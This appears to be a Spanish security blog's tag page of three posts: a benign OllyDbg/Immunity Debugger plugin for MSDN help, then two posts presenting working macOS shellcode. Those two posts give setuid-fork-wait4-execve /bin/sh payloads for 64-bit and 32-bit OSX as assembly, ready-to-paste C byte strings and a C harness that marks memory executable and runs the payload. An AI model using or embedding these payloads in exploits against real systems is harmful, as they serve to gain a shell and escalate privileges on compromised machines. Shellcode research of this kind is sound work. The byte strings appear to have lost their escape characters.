Posts Tagged ‘shellcode’

Plugin de Ayuda en Línea MSDN para OllyDbg / Immunity Debugger

Hola a todos. En esta ocasión voy a presentar un plugin para el depurador OllyDbg / Immunity Debugger que va a facilitar la tarea de realizar la ingeniería inversa de un binario de Windows.

¿Qué es OllyDbg?

OllyDbg es un clásico depurador de binarios a bajo nivel para el sistema operativo Windows. Según muchos, es la herramienta ideal para hacer ingeniería inversa de programas de los que no disponemos del código fuente (por ejemplo, malware), y también es muy utilizado en el mundo del cracking.

Una de las características más atractivas que tiene es la posibilidad de cargar plugins. La mayoría están orientados a ayudar en el desempacado de binarios protegidos y evitar la detección del depurador por parte del código malicioso que estemos analizando, aunque los hay para muchas otras tareas.

¿Qué es Immunity Debugger?

Luego de varios años sin actualizaciones, y tras múltiples exploits publicados que no han sido corregidos por el autor, la empresa Immunity decidió comprar el código fuente para actualizarlo y mejorarlo. Así nació Immunity Debugger, que parece estar destinado a reemplazar al viejo Olly, especialmente en el terreno del exploiting que es donde se están concentrando más las nuevas características y los nuevos plugins.

¿La pega? Que los viejos plugins de OllyDbg en general ya no funcionan más. Si se dispone del código fuente se pueden actualizar e incluso hacer que funcionen en ambos. Si no, la cosa está más complicada, aunque hay una herramienta que ayuda bastante.

El plugin que presento hoy funciona correctamente en ambos programas. :)

¿Para qué sirve este plugin?

OllyDbg ya tiene sus años, y aunque se sigue usando no siempre ha envejecido con gracia. ;) Uno de sus puntos flacos es el soporte de ayuda de Windows.

Me explico. Al analizar un binario en Windows normalmente veremos código ensamblador y llamadas a funciones de la Win32 API, que es la interfase de programación de bajo nivel en Windows. Las funciones de la API son muchas y es imposible memorizarlas todas, por lo que es imprescindible poder consultar la documentación de Microsoft para saber qué hace cada una, qué parámetros llevan, etc.

Ahora bien. OllyDbg ya permitía desde sus comienzos consultar la documentación de Microsoft gracias a un archivo llamado “WIN32.HLP“, que venía con la SDK de Windows NT, y contenía la documentación más completa y detallada… de aquel entonces. Pero ya pasaron varias versiones de Windows y unos cuantos años, Microsoft dejó de dar soporte a ese manual para dar paso a la documentación online de la MSDN (Microsoft Developer Network), y lo que ocurre ahora es que al consultar la ayuda desde el Olly muchas de las cosas que buscamos no aparecen. :(

Este plugin viene a llenar ese vacío. Al instalarlo, cuando OllyDbg intente acceder a WIN32.HLP para mostrar la documentación, el plugin lo intercepta y lanza el navegador web en la página correspondiente de la documentación online. :)

¿Cómo se instala este plugin?

Es simple, hay que descargar el archivo zip, extraer el plugin (OllyMSDN.dll) y copiarlo a la carpeta de instalación del depurador.

En OllyDbg esta carpeta suele ser “C:Program FilesOllyDbg” (en castellano C:Archivos de ProgramaOllyDbg”).

En Immunity Debugger la carpeta suele ser “C:Program FilesImmunity IncImmunity Debugger” (en castellano nuevamente reemplazar “Program Files” por “Archivos de Programa”).

El siguiente paso es cargar el depurador, y desde el menú “Help” ir a la opción “Select API help file”. Allí hay que, o bien seleccionar el viejo WIN32.HLP (aunque no se vaya a usar), o al menos un archivo cualquiera que se llame exactamente igual (el contenido da lo mismo). El nombre es importante, porque es la manera en que el plugin se da cuenta de que el usuario está intentando consultar la documentación de Microsoft y no, digamos, la ayuda del propio OllyDbg.

Una vez hecho esto, ya está completa la instalación.

¿Cómo se usa este plugin?

Se usa exactamente igual que el viejo archivo WIN32.HLP. Es decir:

Para acceder a la documentación, vamos al menú “Help” y seleccionamos la opción “Open API help file”.

Para ver la ayuda de una llamada API en concreto, hacemos click derecho sobre la línea de código ensamblador y seleccionamos la opción “Help on symbolic name”.

¿Dónde consigo este plugin?

Se puede comprar por el módico precio de… nah, mentira, es completamente gratuito! :)

Se descarga siguiendo este link: OllyMSDN.zip

El archivo zip contiene el binario precompilado para Windows y el código fuente, liberado bajo la licencia GPL v2. El fuente compila bajo Visual Studio 2008, no lo he probado con otros compiladores.

Bueno, eso es todo por hoy. Que les aproveche! :)


Sígueme en Twitter: @Mario_Vilas | Linkedin: http://es.linkedin.com/in/mariovilas

Share via email
Share on Facebook+1Share on Twitter

Probando nuestra shellcode en OSX Lion

Ahora que se ha publicado OSX Lion (10.7) hemos decidido probar nuestras shellcodes preparadas para Snow Leopard en 64bits sin cambiar ni un solo opcode. :-)

El resultado es el esperado, las shellcodes se ejecutan sin problemas (cuidado con el stack-protector)

Pero en el proceso nos hemos encontrado un par de cosas curiosas.

Por un lado ya no es necesario crear un section .data y rellenar unos bytes para saltarnos el dyld y así ejecutar un binario estático sin linkar contra libSystem.B

Esto se debe a una serie de cambios muy profundos en dyld y libSystem.B

Uno de los más apreciables, es que ya no se definen las syscall en libSystem.B

Kana:~ capi_x$ otool -p _write -tVv /usr/lib/libSystem.B.dylib 
/usr/lib/libSystem.B.dylib:
(__TEXT,__text) section
Can't find -p symbol: _write

Y si descompilamos toda la lib y buscamos por referencias a “write”…

Kana:~ capi_x$ otool -tVv /usr/lib/libSystem.B.dylib | grep write
R8289209$_write:
00000000000142cf    jmp    0x0001441e    ; symbol stub for: _write

Ok, tenemos un símbolo definido de write, pero ni rastro de ella, busquemos contra qué está linkada ahora libSystem.B

Kana:~ capi_x$ otool -L /usr/lib/libSystem.B.dylib
/usr/lib/libSystem.B.dylib:
	/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 159.0.0)
	/usr/lib/system/libcache.dylib (compatibility version 1.0.0, current version 47.0.0)
	/usr/lib/system/libcommonCrypto.dylib (compatibility version 1.0.0, current version 55010.0.0)
	[...]

He recortado la salida ya que es bastante larga, pero se aprecian muchas (y muy interesantes) nuevas librerías que investigaremos a fondo, de momento nos centraremos en las syscall.

Una de las librerías linkadas es “/usr/lib/system/libsystem_kernel.dylib” que efectivamente, contiene las syscall que estamos buscando. :-)

Kana:~ capi_x$ otool -p _write -tVv /usr/lib/system/libsystem_kernel.dylib | head -6 | tail -3
0000000000017fd4    movl    $0x02000004,%eax
0000000000017fd9    movq    %rcx,%r10
0000000000017fdc    syscall

Como se aprecia, las syscall no han variado, así que nuestras shellcodes para Snow Leopard en 64bits deberían funcionar a la primera.

Kana:~ capi_x$ cat shell64-2.s
mov  eax, 0xfa8888a0
add  eax, 0x07777777
xor  rdi, rdi
syscall    # setuid
mov  eax, 0xfa88888b
add  eax, 0x07777777
syscall    # fork
mov  eax, 0xfa888a19
add  eax, 0x07777777
xor  rdx, rdx
xor  rsi, rsi
syscall    # wait4
mov  eax, 0xfa8888c4
add  eax, 0x07777777
mov  rdi, 0x68732f2f6e69622f
push rsi
push rdi
mov  rdi, rsp
syscall    # execve

Esta vez veremos un método muy cómodo para tener directamente nuestros opcodes en formato C listos para usar. ¡Copia y pega al poder! :D

Kana:~ capi_x$ rasm2 -f shell64-2.s -b 64 -s intel -C
"xb8xa0x88x88xfax05x77x77x77x07x48x31xffx0fx05xb8x8bx88x88xfa" 
"x05x77x77x77x07x0fx05xb8x19x8ax88xfax05x77x77x77x07x48x31xd2" 
"x48x31xf6x0fx05xb8xc4x88x88xfax05x77x77x77x07x48xbfx2fx62x69" 
"x6ex2fx2fx73x68x56x57x48x89xe7x0fx05"

Y para probarla, podemos hacerlo también desde radare2 mediante el combo rasm2/rasc2.

Kana:~ capi_x$ rasm2 -b 64 -s intel -f shell64-2.s 
b8a08888fa05777777074831ff0f05b88b8888fa05777777070f05b8198a88fa05777777074831d24831f60f05b8c48888fa057777770748bf2f62696e2f2f736856574889e70f05
Kana:~ capi_x$ rasc2 -s "b8a08888fa05777777074831ff0f05b88b8888fa05777777070f05b8198a88fa05777777074831d24831f60f05b8c48888fa057777770748bf2f62696e2f2f736856574889e70f05" -X
bash-3.2$

Como podéis ver usando radare2 hacemos nuestra vida un poco mas fácil! ;)


Por otro lado, para probar nuestra shellcode también podeís hacerlo con un programita standalone. Os paso un código C que hace un mprotect ya que OSX en 64bits tiene DEP.

/* NULL free shellcode for OSX 64bits: setuid-fork-wait-execve-binsh
 * Jose Ramon Villa (c) <jrvilla(AT)buguroo.com> <capi_x(AT)badchecksum.net> <twitter: @capi_x> */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <string.h>

char shellcode[] = "xb8xa0x88x88xfax05x77x77x77x07x48x31xffx0fx05xb8x8bx88x88xfa" 
"x05x77x77x77x07x0fx05xb8x19x8ax88xfax05x77x77x77x07x48x31xd2" 
"x48x31xf6x0fx05xb8xc4x88x88xfax05x77x77x77x07x48xbfx2fx62x69" 
"x6ex2fx2fx73x68x56x57x48x89xe7x0fx05";

int main() {
        char *sc = malloc(4096);
        memcpy(sc,shellcode,sizeof(shellcode));

        mprotect(sc, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
        (*(void  (*)()) sc )();

        free(sc);
        return(0);
}

Happy Hacking!

“No user serviceable parts included.”

Share via email
Share on Facebook+1Share on Twitter

Cocinando una shellcode para OSX en 32 bits.

Planteamos una shellcode básica (setuid + fork + wait4 + execve) en 32 bits para arquitectura Intel.

Comprobamos el fichero syscall.h

Kana:osx capi_x$ less /usr/include/sys/syscall.h

#ifdef __APPLE_API_PRIVATE
#define SYS_syscall        0
#define SYS_exit           1
#define SYS_fork           2
#define SYS_read           3
#define SYS_write          4
#define SYS_open           5
#define SYS_close          6
#define SYS_wait4          7

Una pequeña prueba de concepto (un “hola nenas” en asm) nos demuestra la viabilidad mediante INT 80h.

section .text
    global _start

_start:
    push len
    push msg
    push 0x1
    mov eax, 0x4
    sub esp, 0x4    ; Alineamiento del stack
    int 0x80        ; write

    mov eax, 0x1
    sub esp, 0x4
    int 0x80        ; exit

section .data
    msg db 'Hola nenas!', 0xa
    len	equ $ - msg
Kana:osx capi_x$ file hello
hello: Mach-O executable i386
Kana:osx capi_x$ ./hello
Hola nenas!

Viendo el resultado, debería de funcionar una shellcode como las de toda la vida, teniendo cuidado de esp y compilando para Match-O de 32bits.

Aquí tenemos el resultado, no es como para hacer la ola, pero seguro algún día nos es útil :-)

section .text
global _start

_start:
xor     eax, eax
push    eax
push    eax
mov     al, 23
int     0x80    ; setuid
pop     eax
inc     eax
inc     eax
int     0x80    ; fork
pop     ebx
push    eax
push    ebx
push    ebx
push    ebx
push    eax
xor     eax, eax
mov     al,7
push    eax
int     0x80    ; wait4
xor     eax, eax
push    eax
push    0x68732f2f ; //sh
push    0x6e69622f ; /bin
mov     ebx, esp
push    eax
push    esp
push    esp
push    ebx
mov     al, 0x3b
push    eax
int     0x80    ; execve

Yo las compilo con yasm, qué tiene soporte de 64bits y estoy acostumbrado :-)

yasm -f macho32 forkexecve32.s -o forkexecve32.o
ld -static forkexecve32.o -o forkexecve32

Happy Hacking!

“No user serviceable parts included.”

Share via email
Share on Facebook+1Share on Twitter